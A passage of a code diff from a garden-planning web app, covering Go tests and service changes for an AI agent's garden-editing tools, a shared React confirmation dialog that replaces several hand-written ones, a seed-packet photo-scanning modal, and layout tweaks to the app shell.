return box.Execute(ctx, llm.ToolCall{ID: "1", Name: name, Arguments: mustJSON(t, args)})
}
describe := func() service.DescribeResult {
t.Helper()
res := call("describe_garden", map[string]any{"gardenId": gid})
if res.IsError {
t.Fatalf("describe_garden: %s", res.Content)
}
var d service.DescribeResult
if err := json.Unmarshal([]byte(res.Content), &d); err != nil {
t.Fatalf("decode describe: %v", err)
}
return d
}
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
gid = g.ID
basil := mustPlant(t, svc, owner, "Basil", 25, "🌿")
bed, err := svc.CreateObject(ctx, owner, g.ID, service.ObjectInput{
Kind: domain.KindBed, Name: "Bed", XCM: 1000, YCM: 1000, WidthCM: 400, HeightCM: 400,
})
if err != nil {
t.Fatalf("bed: %v", err)
}
// update_object: "make that bed 100cm wider" — read the version, pass a new width.
d := describe()
if r := call("update_object", map[string]any{
"objectId": bed.ID, "version": d.Objects[0].Version, "widthCm": 500.0,
}); r.IsError {
t.Fatalf("update_object: %s", r.Content)
}
if w := describe().Objects[0].WidthCM; w != 500 {
t.Errorf("width = %v after update_object, want 500", w)
}
// place a plop, then remove_planting it by id+version — one plop, not the bed.
if r := call("place_planting", map[string]any{
"objectId": bed.ID, "plantId": basil.ID, "xCm": 0, "yCm": 0, "radiusCm": 30,
}); r.IsError {
t.Fatalf("place_planting: %s", r.Content)
}
d = describe()
if len(d.Objects[0].Plantings) != 1 {
t.Fatalf("want 1 plop before removal, got %d", len(d.Objects[0].Plantings))
}
plop := d.Objects[0].Plantings[0]
if r := call("remove_planting", map[string]any{"plantingId": plop.ID, "version": plop.Version}); r.IsError {
t.Fatalf("remove_planting: %s", r.Content)
}
if n := len(describe().Objects[0].Plantings); n != 0 {
t.Errorf("want 0 active plops after remove_planting, got %d", n)
}
// add then read the journal — the write/read asymmetry the issue flagged.
if r := call("add_journal_entry", map[string]any{
"gardenId": g.ID, "objectId": bed.ID, "body": "aphids", "observedAt": "2026-06-01",
}); r.IsError {
t.Fatalf("add_journal_entry: %s", r.Content)
}
res := call("read_journal", map[string]any{"gardenId": g.ID, "objectId": bed.ID})
if res.IsError {
t.Fatalf("read_journal: %s", res.Content)
}
var jr struct {
Entries []struct {
Body string `json:"body"`
} `json:"entries"`
}
if err := json.Unmarshal([]byte(res.Content), &jr); err != nil {
t.Fatalf("decode read_journal: %v (%s)", err, res.Content)
}
if len(jr.Entries) != 1 || jr.Entries[0].Body != "aphids" {
t.Errorf("read_journal = %+v, want the one aphids entry", jr.Entries)
}
// record then list a seed lot — the detail behind find_plant's "remaining".
if r := call("record_seed_lot", map[string]any{
"plantId": basil.ID, "quantity": 2.0, "unit": "packets", "vendor": "Johnny's",
}); r.IsError {
t.Fatalf("record_seed_lot: %s", r.Content)
}
res = call("list_seed_lots", map[string]any{"plantId": basil.ID})
if res.IsError {
t.Fatalf("list_seed_lots: %s", res.Content)
}
var lots []struct {
Quantity float64 `json:"quantity"`
Unit string `json:"unit"`
}
if err := json.Unmarshal([]byte(res.Content), &lots); err != nil {
t.Fatalf("decode list_seed_lots: %v (%s)", err, res.Content)
}
if len(lots) != 1 || lots[0].Quantity != 2 || lots[0].Unit != "packets" {
t.Errorf("list_seed_lots = %+v, want one lot of 2 packets", lots)
}
// delete_object: the counterpart to create_object.
if r := call("delete_object", map[string]any{"objectId": bed.ID}); r.IsError {
t.Fatalf("delete_object: %s", r.Content)
}
if n := len(describe().Objects); n != 0 {
t.Errorf("want 0 objects after delete_object, got %d", n)
}
}
// newAgentTestService spins up an in-memory pansy with one registered user.
func newAgentTestService(t *testing.T) (*service.Service, int64) {
t.Helper()
+6
View File
@@ -471,7 +471,11 @@ type DescribeObject struct {
}
// DescribePlanting is one plop with a rough compass location, for DescribeResult.
// ID + Version are included so an agent can address a single plop — remove it or
// move it — the same way DescribeObject.Version lets it edit an object.
type DescribePlanting struct {
ID int64 `json:"id"`
Version int64 `json:"version"`
PlantID int64 `json:"plantId"`
Plant string `json:"plant"`
Count int `json:"count"`
@@ -518,6 +522,8 @@ func (s *Service) DescribeGarden(ctx context.Context, actorID, gardenID int64) (
count = *pl.Count
}
do.Plantings = append(do.Plantings, DescribePlanting{
ID: pl.ID,
Version: pl.Version,
PlantID: pl.PlantID,
Plant: plantByID[pl.PlantID].Name,
Count: count,
+11
View File
@@ -178,6 +178,17 @@ func (s *Service) UpdatePlanting(ctx context.Context, actorID, plantingID int64,
return updated, nil
}
// RemovePlanting soft-removes a single plop — the one-plop counterpart to
// ClearObject, used by the agent's remove_planting tool. It stamps removed_at
// from the service clock (s.now()), same as ClearObject and the fill path, so the
// removal date can't diverge by which caller set it; then delegates to
// UpdatePlanting for the editor-role check, version guard and history record.
func (s *Service) RemovePlanting(ctx context.Context, actorID, plantingID, version int64) (*domain.Planting, error) {
today := s.now().UTC().Format(dateLayout)
return s.UpdatePlanting(ctx, actorID, plantingID,
PlantingPatch{SetRemovedAt: true, RemovedAt: &today}, version)
}
// plantingEditSummary describes a plop edit for the history list. Soft-removal
// ("clear bed", harvested) is the one edit worth naming specifically — it reads
// as a removal to the person who did it, not as an edit.
+1469 -5
View File
File diff suppressed because it is too large Load Diff
+2
View File
@@ -22,6 +22,8 @@
"clsx": "^2.1.1",
"react": "^19.0.0",
"react-dom": "^19.0.0",
"react-markdown": "^9.1.0",
"remark-gfm": "^4.0.1",
"tailwind-merge": "^2.6.0",
"zod": "^3.24.1",
"zustand": "^5.0.14"
-13
View File
@@ -1,13 +0,0 @@
import type { ReactNode } from 'react'
/** Placeholder page scaffolding used until each feature issue fills these in. */
export function PageStub({ title, children }: { title: string; children?: ReactNode }) {
return (
<section>
<h1 className="text-2xl font-semibold tracking-tight">{title}</h1>
<p className="mt-2 text-sm text-muted">
{children ?? 'Placeholder — this page arrives in a later issue.'}
</p>
</section>
)
}
@@ -1,42 +1,22 @@
import { useState } from 'react'
import { Modal } from '@/components/ui/Modal'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useDeleteGarden, type Garden } from '@/lib/gardens'
/** Confirmation dialog for deleting a garden (and everything in it). */
export function DeleteGardenModal({ garden, onClose }: { garden: Garden; onClose: () => void }) {
const deletion = useDeleteGarden()
const [error, setError] = useState<string | null>(null)
async function onConfirm() {
setError(null)
try {
await deletion.mutateAsync(garden.id)
onClose()
} catch (err) {
setError(errorMessage(err, 'Could not delete the garden.'))
}
}
return (
<Modal title="Delete garden" onClose={onClose} busy={deletion.isPending}>
<div className="flex flex-col gap-4">
<ConfirmModal
title="Delete garden"
confirmLabel="Delete"
busyLabel="Deleting…"
errorFallback="Could not delete the garden."
onConfirm={() => deletion.mutateAsync(garden.id)}
onClose={onClose}
>
<p className="text-sm text-muted">
Delete <span className="font-medium text-fg">{garden.name}</span> and everything planned in it?
This can't be undone.
</p>
{error && <Alert>{error}</Alert>}
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={deletion.isPending}>
Cancel
</Button>
<Button type="button" variant="danger" onClick={onConfirm} disabled={deletion.isPending}>
{deletion.isPending ? 'Deleting' : 'Delete'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
+17 -31
View File
@@ -1,8 +1,4 @@
import { useState } from 'react'
import { Modal } from '@/components/ui/Modal'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useMe } from '@/lib/auth'
import type { Garden } from '@/lib/gardens'
import { useRemoveShare } from '@/lib/shares'
@@ -12,36 +8,26 @@ import { useRemoveShare } from '@/lib/shares'
export function LeaveGardenModal({ garden, onClose }: { garden: Garden; onClose: () => void }) {
const me = useMe()
const remove = useRemoveShare(garden.id)
const [error, setError] = useState<string | null>(null)
async function onConfirm() {
if (!me.data) return
setError(null)
try {
await remove.mutateAsync(me.data.id)
onClose()
} catch (err) {
setError(errorMessage(err, 'Could not leave the garden.'))
}
}
return (
<Modal title="Leave garden" onClose={onClose} busy={remove.isPending}>
<div className="flex flex-col gap-4">
<ConfirmModal
title="Leave garden"
confirmLabel="Leave"
busyLabel="Leaving…"
confirmDisabled={!me.data}
errorFallback="Could not leave the garden."
onConfirm={async () => {
// The button is disabled without a current user; throw rather than
// silently resolve (which would close the dialog as if it had worked) if
// that guard ever drifts.
if (!me.data) throw new Error('Not signed in.')
await remove.mutateAsync(me.data.id)
}}
onClose={onClose}
>
<p className="text-sm text-muted">
Leave <span className="font-medium text-fg">{garden.name}</span>? You'll lose access until the owner
shares it with you again.
</p>
{error && <Alert>{error}</Alert>}
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={remove.isPending}>
Cancel
</Button>
<Button type="button" variant="danger" onClick={onConfirm} disabled={remove.isPending || !me.data}>
{remove.isPending ? 'Leaving' : 'Leave'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
+30 -7
View File
@@ -1,4 +1,4 @@
import { useEffect, useState } from 'react'
import { Suspense, useEffect, useState } from 'react'
import { Link, Outlet, useMatchRoute, useNavigate, useRouterState } from '@tanstack/react-router'
import { Toaster } from '@/components/ui/toast'
import { useLogout, useMe } from '@/lib/auth'
@@ -39,14 +39,29 @@ export function AppShell() {
// so the '/gardens' list itself still shows the bar.
const inEditor = !!matchRoute({ to: '/gardens/$gardenId', fuzzy: false })
const inPublicGarden = !!matchRoute({ to: '/g/$token', fuzzy: false })
const showBottomNav = !!user && !inEditor && !inPublicGarden
// A canvas route wants the whole width — the garden editor is squeezed by the
// max-w-5xl reading measure the other pages use (#107).
const canvasRoute = inEditor || inPublicGarden
const showBottomNav = !!user && !canvasRoute
// On a phone the editor is a full-screen canvas, so the global top bar is pure
// chrome above the garden — hide it and let the editor's own strip carry the
// back link AND the account menu (so sign-out isn't lost). Editor only, not the
// public view, which has no strip of its own to fall back on.
const hideHeaderOnMobile = inEditor
const visibleSections = sections.filter((s) => !s.adminOnly || user?.isAdmin)
return (
<div className="flex min-h-full flex-col">
<header className="sticky top-0 z-20 border-b border-border bg-surface/90 backdrop-blur">
<nav className="mx-auto flex max-w-5xl items-center gap-4 px-4 py-3">
<header
className={cn(
'sticky top-0 z-20 border-b border-border bg-surface/90 backdrop-blur',
hideHeaderOnMobile && 'hidden md:block',
)}
>
{/* The bar matches the content width below: constrained on reading pages,
edge-to-edge on the canvas routes so the brand aligns with the editor. */}
<nav className={cn('flex items-center gap-4 px-4 py-3', canvasRoute ? '' : 'mx-auto max-w-5xl')}>
<Link to="/gardens" className="text-lg font-semibold text-accent-strong">
🌱 pansy
</Link>
@@ -87,13 +102,19 @@ export function AppShell() {
<main
className={cn(
'mx-auto w-full max-w-5xl flex-1 px-4 py-6',
'w-full flex-1 px-4 py-6',
// Constrain the reading pages to a comfortable measure; the canvas
// routes go edge-to-edge so the garden gets the whole screen.
!canvasRoute && 'mx-auto max-w-5xl',
// Clear the fixed bottom bar on mobile so content isn't hidden behind
// it. The 3.5rem must match BottomNav's h-14 (kept adjacent below).
showBottomNav && 'pb-[calc(3.5rem+env(safe-area-inset-bottom))] md:pb-6',
)}
>
{/* Boundary for the lazily-loaded routes (see router.tsx). */}
<Suspense fallback={<p className="p-6 text-sm text-muted">Loading</p>}>
<Outlet />
</Suspense>
</main>
{showBottomNav && <BottomNav sections={visibleSections} />}
@@ -104,8 +125,10 @@ export function AppShell() {
}
/** Account control: a compact button that toggles a small sign-out popover. On
* desktop the display name shows inline; on mobile it lives inside the popover. */
function AccountMenu({ displayName }: { displayName: string }) {
* desktop the display name shows inline; on mobile it lives inside the popover.
* Exported so the editor's mobile strip can carry it — the global header that
* normally hosts it is hidden there (see hideHeaderOnMobile). */
export function AccountMenu({ displayName }: { displayName: string }) {
const logout = useLogout()
const navigate = useNavigate()
const [open, setOpen] = useState(false)
+12 -32
View File
@@ -1,46 +1,26 @@
import { useState } from 'react'
import { Modal } from '@/components/ui/Modal'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useDeletePlant, type Plant } from '@/lib/plants'
/**
* Confirmation dialog for deleting a custom plant. A plant still used by
* plantings is refused by the server (409 PLANT_IN_USE); we surface that
* message inline rather than pretending it worked.
* plantings is refused by the server (409 PLANT_IN_USE); ConfirmModal surfaces
* that message inline rather than pretending it worked.
*/
export function DeletePlantModal({ plant, onClose }: { plant: Plant; onClose: () => void }) {
const deletion = useDeletePlant()
const [error, setError] = useState<string | null>(null)
async function onConfirm() {
setError(null)
try {
await deletion.mutateAsync(plant.id)
onClose()
} catch (err) {
setError(errorMessage(err, 'Could not delete the plant.'))
}
}
return (
<Modal title="Delete plant" onClose={onClose} busy={deletion.isPending}>
<div className="flex flex-col gap-4">
<ConfirmModal
title="Delete plant"
confirmLabel="Delete"
busyLabel="Deleting…"
errorFallback="Could not delete the plant."
onConfirm={() => deletion.mutateAsync(plant.id)}
onClose={onClose}
>
<p className="text-sm text-muted">
Delete <span className="font-medium text-fg">{plant.name}</span> from your catalog? This can't be
undone.
</p>
{error && <Alert>{error}</Alert>}
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={deletion.isPending}>
Cancel
</Button>
<Button type="button" variant="danger" onClick={onConfirm} disabled={deletion.isPending}>
{deletion.isPending ? 'Deleting' : 'Delete'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
@@ -1,8 +1,4 @@
import { useState } from 'react'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { Modal } from '@/components/ui/Modal'
import { errorMessage } from '@/lib/api'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { formatQuantity, useDeleteSeedLot, type SeedLot } from '@/lib/seedLots'
/**
@@ -12,11 +8,15 @@ import { formatQuantity, useDeleteSeedLot, type SeedLot } from '@/lib/seedLots'
*/
export function DeleteSeedLotModal({ lot, onClose }: { lot: SeedLot; onClose: () => void }) {
const del = useDeleteSeedLot()
const [error, setError] = useState<string | null>(null)
return (
<Modal title="Retire this seed lot?" onClose={onClose} busy={del.isPending}>
<div className="flex flex-col gap-3">
<ConfirmModal
title="Retire this seed lot?"
confirmLabel="Retire lot"
busyLabel="Retiring…"
errorFallback="Could not retire the lot."
onConfirm={() => del.mutateAsync(lot.id)}
onClose={onClose}
>
<p className="text-sm text-fg">
{formatQuantity(lot.quantity)} {lot.unit}
{lot.vendor ? ` from ${lot.vendor}` : ''}
@@ -25,26 +25,6 @@ export function DeleteSeedLotModal({ lot, onClose }: { lot: SeedLot; onClose: ()
<p className="text-sm text-muted">
Anything planted from it stays exactly where it is it just stops being attributed to this purchase.
</p>
{error && <Alert>{error}</Alert>}
<div className="mt-1 flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={del.isPending}>
Cancel
</Button>
<Button
type="button"
variant="danger"
disabled={del.isPending}
onClick={() =>
del.mutate(lot.id, {
onSuccess: onClose,
onError: (err) => setError(errorMessage(err, 'Could not retire the lot.')),
})
}
>
{del.isPending ? 'Retiring…' : 'Retire lot'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
+1 -1
View File
@@ -82,7 +82,7 @@ export function PlantCard({
<button
type="button"
onClick={() => setShowLots((v) => !v)}
className={`${cardActionClass} mr-auto flex items-center gap-1.5`}
className={`${cardActionClass} mr-auto gap-1.5`}
aria-expanded={showLots}
>
{lots.length === 0 ? (
+41
View File
@@ -0,0 +1,41 @@
import { cn } from '@/lib/cn'
import { PlantIcon } from '@/components/plants/PlantIcon'
import type { Plant } from '@/lib/plants'
/**
* A small tap-to-arm plant chip (icon + name), highlighted when it's the armed
* plant. Shared by the Seed Tray (which wraps it with a remove button) and the
* Recent-plants strip, so the two quick-pick surfaces stay visually identical.
* `rounded` is false when a caller (the tray) attaches a trailing control and
* needs a flat right edge.
*/
export function PlantChip({
plant,
active,
onArm,
rounded = true,
}: {
plant: Plant
active: boolean
onArm: (plant: Plant) => void
rounded?: boolean
}) {
return (
<button
type="button"
onClick={() => onArm(plant)}
aria-pressed={active}
title={active ? `Placing ${plant.name}` : `Place ${plant.name}`}
className={cn(
'inline-flex shrink-0 items-center gap-1.5 border py-1 pl-1.5 text-xs font-medium outline-none transition-colors focus-visible:ring-2 focus-visible:ring-accent/40',
rounded ? 'rounded-full pr-2.5' : 'rounded-l-full pr-1',
active
? 'border-accent bg-accent/10 text-accent-strong'
: 'border-border bg-surface text-fg hover:border-accent',
)}
>
<PlantIcon color={plant.color} icon={plant.icon} className="h-5 w-5 rounded-full text-[0.65rem]" />
<span className="max-w-[6rem] truncate">{plant.name}</span>
</button>
)
}
@@ -0,0 +1,432 @@
import { useRef, useState, type ChangeEvent, type FormEvent } from 'react'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { Modal } from '@/components/ui/Modal'
import { Select } from '@/components/ui/Select'
import { TextField } from '@/components/ui/TextField'
import { toast } from '@/components/ui/toast'
import { PlantIcon } from '@/components/plants/PlantIcon'
import { errorMessage } from '@/lib/api'
import {
lotDefaults,
newPlantDefaults,
useCreateFromPacket,
useScanPacket,
type PacketProposal,
} from '@/lib/seedPacket'
import {
CATEGORY_LABELS,
PLANT_CATEGORIES,
type PlantCategory,
type PlantInput,
} from '@/lib/plants'
import { LOT_UNITS, type LotUnit } from '@/lib/seedLots'
import { cmFromSpacing, spacingFromCm, spacingUnitLabel, type UnitPref } from '@/lib/units'
const categoryOptions = PLANT_CATEGORIES.map((c) => ({ value: c, label: CATEGORY_LABELS[c] }))
const unitOptions = LOT_UNITS.map((u) => ({ value: u.value, label: u.label }))
// 'new' is "create a new variety"; a number selects that existing candidate plant.
type Selection = number | 'new'
/**
* Photograph a seed packet → an editable proposal → confirm into a plant + lot
* (#102). Two phases in one dialog: capture (camera/upload) then review. The
* review never commits blind — the model can misread, so every committed field is
* editable and the human picks "this is an existing plant" vs "a new variety".
*
* Only offered where `capabilities.vision` is on (the caller gates the entry
* point), so a scan should always be possible; a 503 is still handled in case the
* model is torn down between the capabilities poll and the upload.
*/
export function ScanPacketModal({ unit, onClose }: { unit: UnitPref; onClose: () => void }) {
const scan = useScanPacket()
const create = useCreateFromPacket()
const fileInput = useRef<HTMLInputElement>(null)
// Lets Cancel abort a slow/hung scan (the server allows up to 120s) so the
// dialog is never a trap the user can only escape by reloading the page.
const scanAbort = useRef<AbortController | null>(null)
const [proposal, setProposal] = useState<PacketProposal | null>(null)
const [error, setError] = useState<string | null>(null)
// Review-phase fields, seeded from the proposal when a scan lands.
const [selection, setSelection] = useState<Selection>('new')
const [name, setName] = useState('')
const [category, setCategory] = useState<PlantCategory>('vegetable')
const [spacing, setSpacing] = useState('')
const [days, setDays] = useState('')
// One vendor field: it's the packet's vendor, and feeds both the new plant (if
// creating one) and the lot.
const [vendor, setVendor] = useState('')
const [quantity, setQuantity] = useState('')
const [lotUnit, setLotUnit] = useState<LotUnit>('packets')
const [sku, setSku] = useState('')
const [lotCode, setLotCode] = useState('')
const [packedForYear, setPackedForYear] = useState('')
const [cost, setCost] = useState('')
const unitLabel = spacingUnitLabel(unit)
const busy = scan.isPending || create.isPending
function onFile(e: ChangeEvent<HTMLInputElement>) {
const file = e.target.files?.[0]
// Reset the input so re-picking the same file fires change again (e.g. after
// an error, retrying the same photo).
e.target.value = ''
if (!file) return
setError(null)
const controller = new AbortController()
scanAbort.current = controller
scan.mutate(
{ file, signal: controller.signal },
{
onSuccess: (p) => {
const plant = newPlantDefaults(p)
const lot = lotDefaults(p.packet)
setProposal(p)
// Default to the top candidate when there is one — the likely case is
// the packet is a variety already in the catalog — else create a new one.
setSelection(p.candidates[0]?.plant.id ?? 'new')
setName(plant.name)
setCategory(plant.category)
setSpacing(String(spacingFromCm(plant.spacingCm, unit)))
setDays(plant.daysToMaturity != null ? String(plant.daysToMaturity) : '')
setVendor(lot.vendor)
setQuantity(String(lot.quantity))
setLotUnit(lot.unit)
setSku(lot.sku)
setLotCode(lot.lotCode)
setPackedForYear(lot.packedForYear != null ? String(lot.packedForYear) : '')
// Cost isn't on a packet, so it's the one field not reseeded from the
// proposal; clear it so a value typed before a Rescan doesn't linger.
setCost('')
},
onError: (err) => {
// An aborted scan is a user cancel, not a failure — and Cancel also
// closes the dialog, so there's nothing to report.
if ((err as Error)?.name === 'AbortError') return
setError(errorMessage(err, "Couldn't read that photo. Try a clearer, well-lit shot of the packet."))
},
},
)
}
async function onConfirm(e: FormEvent) {
e.preventDefault()
if (!proposal) return
setError(null)
// Lot validation mirrors SeedLotModal so the two paths accept the same things.
const qty = quantity.trim() === '' ? 0 : Number(quantity)
if (!Number.isFinite(qty) || qty < 0) {
setError('Quantity must be a number, or left blank.')
return
}
let year: number | null = null
if (packedForYear.trim()) {
const y = Number(packedForYear)
if (!Number.isInteger(y) || y < 1900 || y > 2200) {
setError('Packed-for year should be a four-digit year.')
return
}
year = y
}
let costCents: number | null = null
if (cost.trim()) {
const c = Number(cost)
if (!Number.isFinite(c) || c < 0) {
setError('Cost must be an amount, or left blank.')
return
}
costCents = Math.round(c * 100)
}
const lot = {
vendor: vendor.trim(),
sourceUrl: '',
sku: sku.trim(),
lotCode: lotCode.trim(),
purchasedAt: null,
packedForYear: year,
quantity: qty,
unit: lotUnit,
costCents,
germinationPct: null,
notes: '',
}
let newPlant: PlantInput | undefined
let plantId: number | undefined
if (selection === 'new') {
if (!name.trim()) {
setError('Name the new variety, or pick an existing plant above.')
return
}
const spacingCm = cmFromSpacing(parseFloat(spacing), unit)
if (!Number.isFinite(spacingCm) || spacingCm < 1) {
setError(`Spacing must be at least 1 ${unitLabel}.`)
return
}
let daysToMaturity: number | null = null
if (days.trim()) {
const d = Number(days)
if (!Number.isInteger(d) || d < 1) {
setError('Days to maturity must be a whole number of days, or left blank.')
return
}
daysToMaturity = d
}
newPlant = {
...newPlantDefaults(proposal),
name: name.trim(),
category,
spacingCm,
daysToMaturity,
vendor: vendor.trim(),
}
} else {
plantId = selection
}
try {
const res = await create.mutateAsync({ plantId, newPlant, lot })
toast.info(
res.plantIsNew
? `Added ${res.plant.name} and its seed lot.`
: `Recorded a seed lot for ${res.plant.name}.`,
)
onClose()
} catch (err) {
setError(errorMessage(err, 'Could not save the packet.'))
}
}
return (
<Modal title="Scan a seed packet" onClose={onClose} busy={busy}>
{!proposal ? (
<div className="flex flex-col gap-4">
<p className="text-sm text-muted">
Take a photo of the front of a seed packet and pansy reads the details off it you review and
confirm before anything is saved.
</p>
{/* A hidden input is triggered by the buttons below. `capture` hints a
phone to open the camera; on desktop it's ignored and both buttons
open a file chooser. */}
<input
ref={fileInput}
type="file"
accept="image/*"
capture="environment"
onChange={onFile}
className="hidden"
aria-hidden
tabIndex={-1}
/>
{scan.isPending ? (
<p className="flex items-center gap-2 rounded-md bg-border/40 px-3 py-2 text-sm text-muted">
<span className="inline-block h-2 w-2 animate-pulse rounded-full bg-accent" />
Reading the packet this can take a few seconds.
</p>
) : (
<Button type="button" onClick={() => fileInput.current?.click()}>
Take or choose a photo
</Button>
)}
{error && <Alert>{error}</Alert>}
<div className="flex justify-end">
{/* Not disabled while scanning — this is the way out of a slow scan.
Aborting a settled/absent request is a harmless no-op. */}
<Button
type="button"
variant="ghost"
onClick={() => {
scanAbort.current?.abort()
onClose()
}}
>
Cancel
</Button>
</div>
</div>
) : (
<form onSubmit={onConfirm} className="flex flex-col gap-4">
<ReadFields proposal={proposal} unit={unit} />
<fieldset className="flex flex-col gap-2">
<legend className="text-sm font-medium text-fg">This packet is</legend>
{proposal.candidates.map((c) => (
<label
key={c.plant.id}
className="flex cursor-pointer items-center gap-2 rounded-md border border-border px-2 py-1.5 text-sm has-[:checked]:border-accent has-[:checked]:bg-accent/10"
>
<input
type="radio"
name="packet-selection"
checked={selection === c.plant.id}
onChange={() => setSelection(c.plant.id)}
/>
<PlantIcon color={c.plant.color} icon={c.plant.icon} className="h-6 w-6 rounded text-sm" />
<span className="flex-1 font-medium text-fg">{c.plant.name}</span>
<span className="text-xs text-muted">{c.reason}</span>
</label>
))}
<label className="flex cursor-pointer items-center gap-2 rounded-md border border-border px-2 py-1.5 text-sm has-[:checked]:border-accent has-[:checked]:bg-accent/10">
<input
type="radio"
name="packet-selection"
checked={selection === 'new'}
onChange={() => setSelection('new')}
/>
<span className="flex-1 font-medium text-fg">
{proposal.candidates.length > 0 ? 'None of these — a new variety' : 'Add as a new variety'}
</span>
</label>
</fieldset>
{selection === 'new' && (
<div className="flex flex-col gap-3 rounded-md border border-border p-3">
<TextField
label="Name"
name="name"
required
value={name}
onChange={(e) => setName(e.target.value)}
hint="You can set an icon and color later from the plant card."
/>
<div className="grid grid-cols-2 gap-3">
<Select
label="Category"
name="category"
value={category}
onChange={(e) => setCategory(e.target.value as PlantCategory)}
options={categoryOptions}
/>
<TextField
label={`Spacing (${unitLabel})`}
name="spacing"
type="number"
inputMode="decimal"
step="any"
min="1"
required
value={spacing}
onChange={(e) => setSpacing(e.target.value)}
/>
</div>
<TextField
label="Days to maturity (optional)"
name="days"
type="number"
inputMode="numeric"
step="1"
min="1"
value={days}
onChange={(e) => setDays(e.target.value)}
/>
</div>
)}
{/* The seed lot — what you bought — recorded against whichever plant. */}
<div className="flex flex-col gap-3">
<p className="text-sm font-medium text-fg">Seed lot</p>
<div className="grid grid-cols-2 gap-3">
<TextField
label="Quantity"
name="quantity"
type="number"
inputMode="decimal"
step="any"
min="0"
value={quantity}
onChange={(e) => setQuantity(e.target.value)}
/>
<Select
label="Unit"
name="unit"
value={lotUnit}
onChange={(e) => setLotUnit(e.target.value as LotUnit)}
options={unitOptions}
/>
</div>
<div className="grid grid-cols-2 gap-3">
<TextField label="Vendor" name="vendor" value={vendor} onChange={(e) => setVendor(e.target.value)} />
<TextField
label="Packed for"
name="packedForYear"
type="number"
inputMode="numeric"
placeholder="2026"
value={packedForYear}
onChange={(e) => setPackedForYear(e.target.value)}
/>
</div>
<div className="grid grid-cols-2 gap-3">
<TextField label="SKU" name="sku" value={sku} onChange={(e) => setSku(e.target.value)} />
<TextField
label="Cost"
name="cost"
type="number"
inputMode="decimal"
step="0.01"
min="0"
placeholder="4.99"
value={cost}
onChange={(e) => setCost(e.target.value)}
/>
</div>
</div>
{error && <Alert>{error}</Alert>}
<div className="mt-1 flex justify-between gap-2">
<Button
type="button"
variant="ghost"
onClick={() => {
// Clear the review-phase error too, or it would show on the
// capture screen we're returning to.
setError(null)
setProposal(null)
}}
disabled={busy}
>
Rescan
</Button>
<Button type="submit" disabled={busy}>
{create.isPending ? 'Saving…' : selection === 'new' ? 'Create plant + lot' : 'Add lot'}
</Button>
</div>
</form>
)}
</Modal>
)
}
/** A compact read-only summary of what the model pulled off the packet, so the
* user can see the extraction at a glance while they confirm. Only fields that
* came back are shown. */
function ReadFields({ proposal, unit }: { proposal: PacketProposal; unit: UnitPref }) {
const p = proposal.packet
const rows: [string, string][] = []
if (p.species) rows.push(['Species', p.species])
if (p.variety) rows.push(['Variety', p.variety])
if (p.spacingCm != null) rows.push(['Spacing', `${spacingFromCm(p.spacingCm, unit)} ${spacingUnitLabel(unit)}`])
if (p.daysToMaturity != null) rows.push(['Days to maturity', String(p.daysToMaturity)])
if (p.seedCount != null) rows.push(['Seed count', String(p.seedCount)])
if (rows.length === 0) return null
return (
<dl className="grid grid-cols-[auto_1fr] gap-x-3 gap-y-1 rounded-md bg-border/30 px-3 py-2 text-sm">
{rows.map(([k, v]) => (
<div key={k} className="contents">
<dt className="text-muted">{k}</dt>
<dd className="text-fg">{v}</dd>
</div>
))}
</dl>
)
}
+79
View File
@@ -0,0 +1,79 @@
import { useState, type ReactNode } from 'react'
import { Modal } from '@/components/ui/Modal'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
/**
* A confirm-and-act dialog: a message, then Cancel / Confirm. It owns the shared
* shape every confirmation repeated by hand — the busy lock, the inline error on
* failure (so a 409 like PLANT_IN_USE is shown, not swallowed), and the footer —
* so each caller supplies only its message, its action, and its labels.
*
* onConfirm runs the action; it resolving closes the dialog, it throwing keeps
* the dialog open with the error and re-enables the button for a retry. This is
* confirmations only — dialogs with their own inputs (a rename, a form) keep
* using Modal directly.
*/
export function ConfirmModal({
title,
children,
confirmLabel,
busyLabel,
confirmVariant = 'danger',
confirmDisabled = false,
errorFallback,
onConfirm,
onClose,
}: {
title: string
/** The body — what's being confirmed. */
children: ReactNode
confirmLabel: string
/** Label while the action is in flight (e.g. "Deleting…"). */
busyLabel: string
confirmVariant?: 'danger' | 'primary'
/** Extra guard beyond busy (e.g. nothing to clear, no current user). */
confirmDisabled?: boolean
/** Message if the action throws something without its own user-facing text. */
errorFallback: string
onConfirm: () => Promise<unknown>
onClose: () => void
}) {
const [busy, setBusy] = useState(false)
const [error, setError] = useState<string | null>(null)
async function handleConfirm() {
setError(null)
setBusy(true)
try {
await onConfirm()
onClose()
} catch (err) {
setError(errorMessage(err, errorFallback))
setBusy(false) // keep the dialog open so the message shows and retry works
}
}
return (
<Modal title={title} onClose={onClose} busy={busy}>
<div className="flex flex-col gap-4">
{children}
{error && <Alert>{error}</Alert>}
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={busy}>
Cancel
</Button>
<Button
type="button"
variant={confirmVariant}
onClick={handleConfirm}
disabled={busy || confirmDisabled}
>
{busy ? busyLabel : confirmLabel}
</Button>
</div>
</div>
</Modal>
)
}
+11 -4
View File
